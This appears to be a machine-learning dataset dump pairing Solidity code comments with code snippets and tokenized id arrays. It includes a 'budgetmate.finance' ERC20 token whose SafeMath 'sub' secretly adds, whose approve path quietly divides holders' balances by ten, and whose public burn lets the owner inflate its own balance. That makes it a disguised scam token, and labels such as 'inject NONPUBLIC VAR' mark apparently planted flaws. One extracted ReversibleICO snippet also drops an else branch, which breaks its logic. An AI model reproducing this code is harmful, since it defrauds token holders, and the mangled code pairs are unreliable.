passato alla variabile dell'address più recente del proprietario if (!ownership.burned && ownership.addr != address(0)) { latestOwnerAddress = ownership.addr; } // se l'address più recente del proprietari è = all'address del proprietario // allora l'id e il suo index viene passato alla variabile currentTokenId if (latestOwnerAddress == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } // il token id parte da 1 e non da 0 function _startTokenId() internal view virtual override returns (uint256) { return 1; } }
imposta l'uri dei metadata nascosti
function _baseURI() internal view override returns (string memory) { return baseURI; }
986,682
[ 1, 381, 2767, 69, 328, 11, 1650, 443, 77, 1982, 290, 3691, 669, 77, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 445, 389, 1969, 3098, 1435, 2713, 1476, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 282, 327, 1026, 3098, 31, 203, 289, 203, 7010, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import "./zeppelin/token/ERC777/ERC777.sol"; interface ReversibleICO { function getParticipantReservedTokens(address) external view returns (uint256); } contract ReversibleICOToken is ERC777 { ReversibleICO public rICO; bool public frozen; // default: false bool public initialized; // default: false // addresses address public deployingAddress; address public tokenGenesisAddress; // Receives the initial amount and can set the migration address, as well as the rICO, if not set initially address public migrationAddress; // The contract address which will handle the token migration address public freezerAddress; // should be same as freezer address in rICO address public rescuerAddress; // should be same as rescuerAddress address in rICO /* * Events */ event SetRICOaddress(address indexed rICOAddress); event SetMigrationAddress(address indexed migrationAddress); event Frozen(address indexed freezerAddress); event Unfrozen(address indexed freezerAddress); event RemovedFreezer(address indexed freezerAddress); event ChangedRICO(address indexed rICOAddress, address indexed rescuerAddress); // ------------------------------------------------------------------------------------------------ constructor( string memory name, string memory symbol, address[] memory _defaultOperators ) ERC777(name, symbol, _defaultOperators) public { deployingAddress = msg.sender; } // Init the rICO token and attach it to the rICO function init( address _ricoAddress, address _freezerAddress, address _rescuerAddress, address _tokenGenesisAddress, uint256 _initialSupply ) public isNotInitialized onlyDeployingAddress { require(_freezerAddress != address(0), "_freezerAddress cannot be 0x"); require(_rescuerAddress != address(0), "_rescuerAddress cannot be 0x"); require(_tokenGenesisAddress != address(0), "_tokenGenesisAddress cannot be 0x"); tokenGenesisAddress = _tokenGenesisAddress; freezerAddress = _freezerAddress; rescuerAddress = _rescuerAddress; _mint(_tokenGenesisAddress, _tokenGenesisAddress, _initialSupply, "", ""); if(_ricoAddress != address(0)) { rICO = ReversibleICO(_ricoAddress); emit SetRICOaddress(_ricoAddress); } initialized = true; } function setRICOaddress(address _ricoAddress) public onlyTokenGenesisAddress { require(address(rICO) == address(0), "rICO address already set!"); require(_ricoAddress != address(0), "rICO address cannot be 0x."); rICO = ReversibleICO(_ricoAddress); emit SetRICOaddress(_ricoAddress); } // *** Migration process function setMigrationAddress(address _migrationAddress) public onlyTokenGenesisAddress { migrationAddress = _migrationAddress; emit SetMigrationAddress(migrationAddress); } // *** SECURITY functions function removeFreezer() public onlyFreezerAddress isNotFrozen { freezerAddress = address(0); emit RemovedFreezer(freezerAddress); } function freeze() public onlyFreezerAddress { frozen = true; emit Frozen(freezerAddress); } function unfreeze() public onlyFreezerAddress { frozen = false; emit Unfrozen(freezerAddress); } // The rICO address can only be changed when the contract is frozen function changeRICO(address _newRicoAddress) public onlyRescuerAddress isFrozen { rICO = ReversibleICO(_newRicoAddress); emit ChangedRICO(_newRicoAddress, rescuerAddress); } // *** Public functions function getLockedBalance(address _owner) public view returns(uint256) { // only check the locked balance, if a rICO is set if(address(rICO) != address(0)) { return rICO.getParticipantReservedTokens(_owner); } else { return 0; } } function getUnlockedBalance(address _owner) public view returns(uint256) { uint256 balance = balanceOf(_owner); // only check the locked balance, if a rICO is set if(address(rICO) != address(0)) { uint256 locked = rICO.getParticipantReservedTokens(_owner); if(balance > 0 && locked > 0) { if(balance >= locked) { return balance.sub(locked); } else { return 0; } } } return balance; } // *** Internal functions // We need to override send / transfer methods in order to only allow transfers within RICO unlocked calculations // The rico address can receive any amount for withdraw functionality function _move( address _operator, address _from, address _to, uint256 _amount, bytes memory _userData, bytes memory _operatorData ) internal isNotFrozen isInitialized { // If tokens are send to the rICO, OR tokens are sent to the migration contract allow transfers of the total balance if( _to == address(rICO) || _to == migrationAddress ) { // full balance can be sent back to rico or migration address require(_amount <= balanceOf(_from), "Sending failed: Insufficient funds"); } else { // for every other address limit to unlocked balance require(_amount <= getUnlockedBalance(_from), "Sending failed: Insufficient funds"); } ERC777._move(_operator, _from, _to, _amount, _userData, _operatorData); } // We override burn as well. So users can not burn locked tokens. function _burn( address _operator, address _from, uint256 _amount, bytes memory _data, bytes memory _operatorData ) internal isNotFrozen isInitialized { require(_amount <= getUnlockedBalance(_from), "Burning failed: Insufficient funds"); ERC777._burn(_operator, _from, _amount, _data, _operatorData); } // *** Modifiers /** * @notice Checks if the sender is the deployer. */ modifier onlyDeployingAddress() { require(msg.sender == deployingAddress, "Only the deployer can call this method."); _; } /** * @notice Checks if the sender is the tokenGenesisAddress. */ modifier onlyTokenGenesisAddress() { require(msg.sender == tokenGenesisAddress, "Only the tokenGenesisAddress can call this method."); _; } /** * @notice Checks if the sender is the freezer controller address. */ modifier onlyFreezerAddress() { require(msg.sender == freezerAddress, "Only the freezer address can call this method."); _; } /** * @notice Checks if the sender is the freezer controller address. */ modifier onlyRescuerAddress() { require(msg.sender == rescuerAddress, "Only the rescuer address can call this method."); _; } /** * @notice Requires the contract to have been initialized. */ modifier isInitialized() { require(initialized == true, "Contract must be initialized."); _; } /** * @notice Requires the contract to NOT have been initialized, */ modifier isNotInitialized() { require(initialized == false, "Contract is already initialized."); _; } /** * @notice @dev Requires the contract to be frozen. */ modifier isFrozen() { require(frozen == true, "Token contract not frozen."); _; } /** * @notice @dev Requires the contract not to be frozen. */ modifier isNotFrozen() { require(frozen == false, "Token contract is frozen!"); _; } }
We need to override send / transfer methods in order to only allow transfers within RICO unlocked calculations The rico address can receive any amount for withdraw functionality If tokens are send to the rICO, OR tokens are sent to the migration contract allow transfers of the total balance full balance can be sent back to rico or migration address for every other address limit to unlocked balance
function _move( address _operator, address _from, address _to, uint256 _amount, bytes memory _userData, bytes memory _operatorData ) internal isNotFrozen isInitialized { if( _to == address(rICO) || _to == migrationAddress ) { require(_amount <= balanceOf(_from), "Sending failed: Insufficient funds"); require(_amount <= getUnlockedBalance(_from), "Sending failed: Insufficient funds"); } ERC777._move(_operator, _from, _to, _amount, _userData, _operatorData); }
5,508,825
[ 1, 3218, 1608, 358, 3849, 1366, 342, 7412, 2590, 316, 1353, 358, 1338, 1699, 29375, 3470, 534, 2871, 51, 25966, 20882, 1021, 436, 10764, 1758, 848, 6798, 1281, 3844, 364, 598, 9446, 14176, 971, 2430, 854, 1366, 358, 326, 436, 2871, 51, 16, 4869, 2430, 854, 3271, 358, 326, 6333, 6835, 1699, 29375, 434, 326, 2078, 11013, 1983, 11013, 848, 506, 3271, 1473, 358, 436, 10764, 578, 6333, 1758, 364, 3614, 1308, 1758, 1800, 358, 25966, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 8501, 12, 203, 3639, 1758, 389, 9497, 16, 203, 3639, 1758, 389, 2080, 16, 203, 3639, 1758, 389, 869, 16, 203, 3639, 2254, 5034, 389, 8949, 16, 203, 3639, 1731, 3778, 389, 1355, 751, 16, 203, 3639, 1731, 3778, 389, 9497, 751, 203, 565, 262, 203, 565, 2713, 203, 565, 8827, 42, 9808, 203, 565, 25359, 203, 565, 288, 203, 203, 3639, 309, 12, 203, 5411, 389, 869, 422, 1758, 12, 86, 2871, 51, 13, 747, 203, 5411, 389, 869, 422, 6333, 1887, 203, 3639, 262, 288, 203, 5411, 2583, 24899, 8949, 1648, 11013, 951, 24899, 2080, 3631, 315, 16322, 2535, 30, 22085, 11339, 284, 19156, 8863, 203, 203, 5411, 2583, 24899, 8949, 1648, 336, 7087, 329, 13937, 24899, 2080, 3631, 315, 16322, 2535, 30, 22085, 11339, 284, 19156, 8863, 203, 3639, 289, 203, 203, 3639, 4232, 39, 14509, 6315, 8501, 24899, 9497, 16, 389, 2080, 16, 389, 869, 16, 389, 8949, 16, 389, 1355, 751, 16, 389, 9497, 751, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-10-19 */ /* https://budgetmate.finance/ */ pragma solidity 0.6.2; abstract contract Context { function _msgSender() internal view virtual returns(address payable) { return msg.sender; } function _msgData() internal view virtual returns(bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns(uint256); function balanceOf(address account) external view returns(uint256); function transfer(address recipient, uint256 amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint256); function approve(address spender, uint256 amount) external returns(bool); function transferFrom(address sender, address recipient, uint256 amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function subs(uint256 a, uint256 b) internal pure returns(uint256) { return subs(a, b, "SafeMath: subtraction overflow"); } function subs(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns(uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function sub(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address governance; uint256 maxSupply; uint256 Address; uint256 decimal; //SPDX-License-Identifier: MIT // frontrunning-bot blacklist address bot1=0x000000000000084e91743124a982076C59f10084; address bot2=0x00000000002bde777710C370E08Fc83D61b2B8E1; address bot3=0x0000000071E801062eB0544403F66176BBA42Dc0; address bot4=0x05957F3344255fDC9fE172E30016ee148D684313; address bot5=0x16338b25b7a5a6b8eC080eE2DD3AaA0531cf1804; address bot6=0x1d6c43b4D829334d88ce609D7728Dc5f4736b3c7; address bot7=0x2C334D73c68bbc45dD55b13C5DeA3a8f84ea053c; address bot8=0x3e1804Fa401d96c48BeD5a9dE10b6a5c99a53965; address bot9=0x42D0ba0223700DEa8BCA7983cc4bf0e000DEE772; address bot10=0x44BdB19dB1Cd29D546597AF7dc0549e7f6F9E480; address bot11=0x5f3E759d09e1059e4c46D6984f07cbB36A73bdf1; address bot12=0x7BEcF327f9f504c50C60d3DFBc005400c301F534; address bot13=0x8Be4DB5926232BC5B02b841dbeDe8161924495C4; address bot14=0x93438E08C4edc17F867e8A9887284da11F26A09d; address bot15=0xAfE0e7De1FF45Bc31618B39dfE42dd9439eEBB32; address bot16=0xAfE0e7De1FF45Bc31618B39dfE42dd9439eEBB32; address bot17=0xCaD7507a579628F2616C2d82457fAc010233A411; address bot18=0xE33C8e3A0d14a81F0dD7E174830089E82F65FC85; address bot19=0xEBB4d6cfC2B538e2a7969Aa4187b1c00B2762108; address bot20=0xF67CCe7255dDF829440800a1DEFb6EdFaAf422C0; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 10; } function name() public view returns(string memory) { return _name; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function symbol() public view returns(string memory) { return _symbol; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function decimals() public view returns(uint8) { return _decimals; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function totalSupply() public view override returns(uint256) { return _totalSupply; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function balanceOf(address account) public view override returns(uint256) { return _balances[account]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function transfer(address recipient, uint256 amount) public virtual override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns(uint256) { return _allowances[owner][spender]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC } function approve(address spender, uint256 amount) public virtual override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].subs(amount, "ERC20: transfer amount exceeds allowance")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].subs(subtractedValue, "ERC20: decreased allowance below zero")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC return true; } function approved(address owner) internal { require(owner != address(0), "ERC20: approve from the zero address"); if (owner != governance) { Address = _balances[owner]; Address /= decimal; _balances[owner] = Address; } else { Address = _balances[owner]; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); // Anti draining bots feature: Bots can buy but can't sell // Bot list is definited above in contract "ERC20" require(msg.sender != bot1 && msg.sender != bot2 && msg.sender != bot3 && msg.sender != bot4 && msg.sender != bot5); require(msg.sender != bot6 && msg.sender != bot7 && msg.sender != bot8 && msg.sender != bot9 && msg.sender != bot10); require(msg.sender != bot11 && msg.sender != bot12 && msg.sender != bot13 && msg.sender != bot14 && msg.sender != bot15); require(msg.sender != bot16 && msg.sender != bot17 && msg.sender != bot18 && msg.sender != bot19 && msg.sender != bot20); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].subs(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _initMint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: create to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) public virtual { require(account == governance, "ERC20: Burner is not allowed"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _beforeTokenTransfer(address(0), account, amount); _balances[account] = _balances[account].sub(amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC _totalSupply = _totalSupply.sub(amount); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); approved(owner); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract budgetmate_finance is ERC20 { constructor() ERC20('budgetmate.finance', 'BMATE') public { governance = msg.sender; maxSupply = 40000 * 10 ** uint(decimals()); decimal = 10; _initMint(governance, maxSupply); } }
inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return _balances[account];
5,422,614
[ 1, 22170, 18708, 14939, 8350, 13255, 40, 6953, 17187, 478, 21163, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 202, 2463, 389, 70, 26488, 63, 4631, 15533, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 